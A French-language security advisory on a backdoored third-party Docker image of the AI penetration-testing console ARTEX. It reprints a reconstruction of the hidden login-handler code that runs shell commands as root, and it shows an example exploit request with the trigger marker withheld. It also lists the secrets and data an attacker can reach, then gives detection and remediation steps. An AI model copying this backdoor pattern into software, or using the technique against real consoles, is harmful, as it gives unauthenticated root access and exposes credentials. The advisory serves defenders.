Une image Docker ARTEX malveillante distribue des shells root

En bref

• Une copie tierce de l'outil d'audit d'intrusion par IA ARTEX embarque un gestionnaire de connexion caché qui exécute n'importe quelle commande en root et renvoie le résultat. BadByte a publié l'analyse le 4 novembre 2026.
• L'image compromise est tomicdd/artex, plus une republication identique à congdonglinux/artex. Tout déploiement qui tire l'une ou l'autre est concerné, et le conteneur s'exécute en root avec ses secrets dans l'environnement.
• Aucun CVE, avis d'éditeur ni entrée au catalogue KEV de la CISA n'existe au 5 novembre 2026, car ARTEX n'a plus de dépôt maintenu. L'image comptait 9 077 téléchargements sur Docker Hub ce jour-là.
• Remplacez l'image, reconstruisez le conteneur depuis une source de confiance et renouvelez tous les secrets que le conteneur pouvait lire. Voir « Que faire si je l'ai installé ? ».

Suis-je concerné ?

Vous êtes concerné lorsque toutes ces conditions sont réunies :

• Votre déploiement tire tomicdd/artex ou congdonglinux/artex, directement ou via un fichier compose copié depuis l'un des 637 dépôts qui pointent encore vers elle.
• Le conteneur est exposé sur le port 8787, que le fichier compose publie sur toutes les interfaces par défaut.
• Le conteneur a été démarré depuis l'une ou l'autre image. L'image a été publiée le 8 octobre 2026, et la date de démarrage ne change rien : un conteneur démarré pour la première fois le 1er novembre est tout aussi concerné.

La porte dérobée est dans l'image préconstruite, pas dans le source d'ARTEX. Quiconque exécute l'image est concerné, même sans avoir ouvert le dépôt GitHub. L'image s'exécute en root, et son fichier compose place le mot de passe de la base de données et les clés des fournisseurs de LLM dans l'environnement du conteneur.

Vérifiez ce que vous exécutez :

# The compose file's image line
grep -n 'image:' docker-compose.yml

# A running container and its image digest
docker ps --format '{{.Names}} {{.Image}}'
docker inspect --format '{{.Config.Image}} {{.Image}}' artex

Un conteneur construit depuis le source officiel n'est pas concerné par cette porte dérobée. Il peut rester exposé autrement, car la console ARTEX n'a pas d'authentification intégrée au-delà de son formulaire de connexion.

BadByte a compté 62 consoles accessibles depuis Internet servant l'image compromise entre le 2 et le 4 novembre 2026. C'est un minimum pour la population concernée, car les installations derrière un NAT, un VPN ou un pare-feu n'apparaissent pas dans le décompte.

Comment corriger ?

1. Arrêtez le conteneur. Ne supprimez pas les volumes de données avant de les avoir conservés pour l'enquête.
2. Remplacez l'image par une construction que vous contrôlez depuis une source de confiance. Le dépôt d'origine d'ARTEX a été supprimé le 8 octobre 2026, donc une image reconstruite a besoin d'une arborescence de source revue, pas d'une copie tirée d'un autre compte.
3. Recréez le conteneur. Tirer une autre image sans recréer le conteneur laisse le processus en cours intact.
4. Renouvelez tous les secrets que le conteneur pouvait lire. Cela inclut le mot de passe PostgreSQL dans ARTEX_PG_DSN, les clés API Anthropic et OpenAI, les clés de recherche Brave ou Tavily, les identifiants de notification Telegram, Feishu, DingTalk, WeCom et SMTP, et les identifiants de proxy.
5. Supposez que les données d'engagement ont été lues. Remplacez la clé de signature JWT dans /app/jwt.key, qui forge des jetons d'administration de sept jours, et examinez chaque cible, identifiant et résultat que la console détenait.

Il n'existe pas de correctif pour l'image compromise. La seule correction est de cesser de l'utiliser.

Le chemin de mise à jour de l'image n'aide pas. Le binaire se présente comme dev, donc ARTEX refuse les mises à jour en un clic pour les versions non publiées, et la vérification de mise à jour interroge encore un point de terminaison GitHub qui renvoie désormais 404. Le chemin update.sh exécute docker compose pull sur la même image.

Que fait le code malveillant ?

L'image est une copie d'ARTEX avec une fonction ajoutée et un gestionnaire de connexion modifié. Elle exécute une commande shell en root avant de vérifier le moindre identifiant, et renvoie le résultat à l'appelant.

BadByte a comparé le binaire /app/artex de l'image avec la version officielle v0.3.15 et a trouvé 31 054 fonctions identiques. Trois choses diffèrent :

• Une nouvelle fonction de 160 octets, server.verifyCaptcha.
• Le gestionnaire de connexion server.(*Server).authLogin passe de 1 600 à 2 112 octets.
• La structure de la requête de connexion gagne un quatrième champ, Captcha.

Le binaire admet la modification dans ses propres informations de compilation :

# go version -m /app/artex
# sha256 d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573
path   github.com/Autumn-27/artex/cmd/artex
mod    github.com/Autumn-27/artex  v0.3.16-0.20261008134550-5c0dbd4bec94+dirty
build  -tags=embedui
build  vcs.revision=5c0dbd4bec940f3c0faf20705a56d879b57d3dfe
build  vcs.time=2026-10-08T13:45:50Z
build  vcs.modified=true

Le binaire a été construit depuis le commit 5c0dbd4 plus des modifications non validées, donc aucun source public ne les contient. La fonction ajoutée est un appel shell direct, et son seul appelant est le gestionnaire de connexion, juste après le décodage du corps JSON :

// Reconstruction by BadByte, marker withheld
func verifyCaptcha(cmdline string) (string, error) {
    c := exec.Command("sh", "-c", cmdline)
    out, err := c.CombinedOutput()
    return string(out), err
}

// inside authLogin
if hasMarker(req.Captcha) {
    out, _ := verifyCaptcha(stripMarker(req.Captcha))
    writeJSON(w, ...out...)
    return
}

La comparaison du nom d'utilisateur, la recherche du hash de mot de passe et la vérification bcrypt viennent plus tard, sur l'autre branche. La porte dérobée n'a besoin d'aucun compte, d'aucun mot de passe et d'aucune session valide.

Comment la faille est-elle exploitée ?

1. L'attaquant envoie un POST à /api/auth/login avec une valeur captcha qui commence par le marqueur secret et se poursuit par une commande shell.
2. Le gestionnaire de connexion décode le corps JSON et appelle verifyCaptcha.
3. verifyCaptcha exécute sh -c avec la commande de l'attaquant en tant que root du conteneur et capture la sortie combinée.
4. Le gestionnaire écrit la sortie dans la réponse JSON et retourne. La vérification des identifiants ne s'exécute jamais.
5. L'attaquant répète la requête pour chaque commande. Rien n'a besoin d'être installé, et aucun rappel n'est effectué.

La requête ressemble à une connexion échouée vue du réseau :

POST /api/auth/login HTTP/1.1
Content-Type: application/json

{"username":"x","password":"x","captcha":"<MARKER>id"}

HTTP/1.1 200 OK
{ ... "uid=0(root) gid=0(root) groups=0(root)" ... }

Comment se déroule l'attaque ?

Un dépôt imitateur pointe son fichier compose vers une image piégée, et une seule requête non authentifiée transforme cette image en shell root.

Que peut faire un attaquant ?

L'attaquant obtient un shell root dans le conteneur, et le conteneur détient les données les plus sensibles de la console.

BadByte liste les actifs accessibles depuis ce shell :

• Le mot de passe superutilisateur PostgreSQL dans ARTEX_PG_DSN.
• Les clés API Anthropic et OpenAI dans l'environnement et dans llm_profiles.api_key, non chiffrées.
• Les clés API de recherche Brave et Tavily dans la table settings.
• Les cibles et le périmètre d'engagement dans les tables companies, company_scope, task_scope et tasks.
• Les identifiants récoltés sur les cibles dans assets.auth et exploration_nodes.payload.
• Les résultats et les preuves dans findings.evidence, findings.report et /app/data.
• Le trafic intercepté dans /app/data/traffic, et la clé privée de l'autorité de certification du proxy dans _ca/.
• La clé de signature de session dans /app/jwt.key, qui forge des jetons d'administration de sept jours.
• Les commandes, arguments, environnements et jetons des serveurs MCP dans mcp_servers.
• Les secrets de notification Feishu, DingTalk, WeCom, Telegram et SMTP dans notification_channels.config.
• Les invites, outils et compétences des agents, qui se reportent sur chaque engagement ultérieur.

Tout ce qui est écrit dans ./data, ./skills ou le volume de la base de données survit à un nouveau tirage. Un attaquant qui atteint le shell peut aussi changer ce que font les agents au prochain passage, donc la sortie future de la console n'est pas fiable même après le remplacement du conteneur.

L'attaquant a besoin d'atteindre le port 8787. Le fichier compose publie ce port sur toutes les interfaces, et la plupart des consoles concernées se trouvaient sur le port par défaut. Un déploiement derrière un pare-feu ou un VPN reste à risque face à quiconque peut atteindre la console.

Que faire si je l'ai installé ?

1. Arrêtez le conteneur et conservez ses volumes de données et ses journaux pour l'enquête.
2. Inspectez le conteneur pour la porte dérobée. L'image sert l'identifiant de compilation 3aC1db3gGU08O4UHbAt4J, et le binaire /app/artex a l'empreinte SHA-256 d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573.
3. Reconstruisez depuis une arborescence de source que vous avez revue, ou cessez d'utiliser l'outil. Une reconstruction propre ne nettoie pas les données que l'attaquant a déjà lues.
4. Renouvelez tous les secrets listés dans « Que peut faire un attaquant ? », en commençant par les clés des fournisseurs de LLM et le mot de passe de la base de données.
5. Examinez les cibles et les enregistrements d'engagement de la console pour des changements que vous n'avez pas faits, et prévenez les propriétaires des cibles tierces dont les identifiants y étaient stockés.
6. Vérifiez l'hôte pour une persistance hors du conteneur. La porte dérobée attend les requêtes, mais l'attaquant a pu utiliser le shell root pour modifier l'hôte.

Comment vérifier si j'ai été compromis ?

• Cherchez dans les journaux du conteneur et du proxy inverse les requêtes POST /api/auth/login qui ont renvoyé une sortie de commande dans le corps JSON. Le déclencheur ressemble à une connexion échouée, donc comparez le contenu de la réponse, pas le code de statut.
• Vérifiez l'identifiant de compilation de l'image en cours. Chaque page de l'image compromise porte 3aC1db3gGU08O4UHbAt4J.
• Vérifiez le condensat de l'image. congdonglinux/artex a les mêmes condensats d'index et de manifeste que tomicdd/artex.
• Cherchez tomicdd/artex et congdonglinux/artex dans chaque fichier compose et chaque dépôt. BadByte a compté 637 dépôts GitHub qui pointaient encore vers l'image le 5 novembre 2026.
• Cherchez dans l'historique du shell et la table des processus des enfants sh -c inattendus du processus ARTEX.

BadByte n'a pas publié de liste de victimes, et les consoles qu'il a comptées sont des déploiements exposés sur Internet, pas des compromissions confirmées. Une requête qui n'a pas atteint le point de connexion ne laisse aucune trace.

Chronologie

• 2026-10-08 10:50 UTC : l'auteur d'ARTEX annonce le passage en source fermée et supprime le dépôt.
• 2026-10-08 18:50 UTC : le compte Docker Hub tomicdd est créé.
• 2026-10-08 19:41 UTC : tomicdd publie l'image ARTEX.
• 2026-10-08 : le compte GitHub trhhubsd publie une copie du source avec une ligne du compose changée vers tomicdd/artex.
• 2026-10-20 : la première console compromise est en ligne.
• 2026-10-23 : un utilisateur GitHub ouvre le ticket #3, « suspect a backdoor » ; le propriétaire du dépôt le ferme le lendemain.
• 2026-11-04 : BadByte publie son analyse, avec 62 consoles identifiées entre le 2 et le 4 novembre.

FAQ

Y a-t-il un CVE pour cette image ?

Non. La porte dérobée est dans une image Docker tierce, pas dans un paquet maintenu avec un avis de sécurité. Aucun CVE n'est attribué, et il n'y a pas d'entrée CISA KEV.

Une mise à jour d'ARTEX retire-t-elle la porte dérobée ?

Non. Le binaire se présente comme dev, donc la mise à jour en un clic refuse de s'exécuter, et le chemin de mise à jour fonctionnel tire à nouveau la même image. La mise à jour ne retire pas la porte dérobée.

Le source officiel d'ARTEX est-il malveillant ?

Aucune preuve ne le dit. BadByte a comparé l'image avec la version officielle v0.3.15 et n'a trouvé que le gestionnaire de connexion, la fonction ajoutée et le champ de requête modifiés. Le source officiel a été supprimé le 8 octobre 2026, donc une reconstruction propre a besoin d'une copie revue.

Combien de déploiements sont concernés ?

BadByte a compté 7 946 téléchargements des deux images compromises au 3 novembre 2026, et 62 consoles servant l'image compromise entre le 2 et le 4 novembre. Docker Hub affichait 9 077 téléchargements de tomicdd/artex le 5 novembre 2026. Le nombre de consoles est un minimum, car les installations derrière un NAT, un VPN ou un pare-feu ne sont pas visibles.

Pourquoi quelqu'un exécuterait-il cette image ?

ARTEX est une console d'audit d'intrusion par IA qui a été utilisée contre de vraies organisations, dont des banques sud-coréennes et plus de 200 organisations dans 14 pays. Après le retrait de l'auteur, les utilisateurs ont cherché un remplacement et ont trouvé la copie la plus étoilée. Le source de la copie correspondait à l'amont, donc une revue de code ne trouvait rien.

Mes données sont-elles sûres si je n'ai exécuté le conteneur que brièvement ?

Non. Une seule requête suffit à exécuter une commande, et le conteneur détient des secrets en clair dès son démarrage. Traitez toute exécution de l'une ou l'autre image comme une compromission possible et renouvelez les secrets.

Références

• BadByte, « ARTEX Backdoor: 7,946 Pulls of a Trojanized Docker Image Handing Out Root Shells », 4 novembre 2026 : https://badbyte.io/artex-backdoor-docker-image/ (vérifié le 5 novembre 2026)
• Docker Hub, tomicdd/artex : https://hub.docker.com/r/tomicdd/artex (vérifié le 5 novembre 2026)
• Docker Hub, congdonglinux/artex : https://hub.docker.com/r/congdonglinux/artex (vérifié le 5 novembre 2026)
• The Hacker News, « CERT-In Flags AI-Driven Attacks as Backdoored ARTEX Exposes 62 Consoles to Root Access », 5 novembre 2026 : https://thehackernews.com/2026/11/backdoored-docker-image-for-artex-ai.html (vérifié le 5 novembre 2026)
• Software Heritage, modification du compose de trhhubsd/ARTEX, commit archivé a4f4d38 : https://archive.softwareheritage.org/swh:1:cnt:4116a80d046acf8c31c1b1fde26e8011bde9176c;origin=https://github.com/trhhubsd/ARTEX (vérifié le 5 novembre 2026)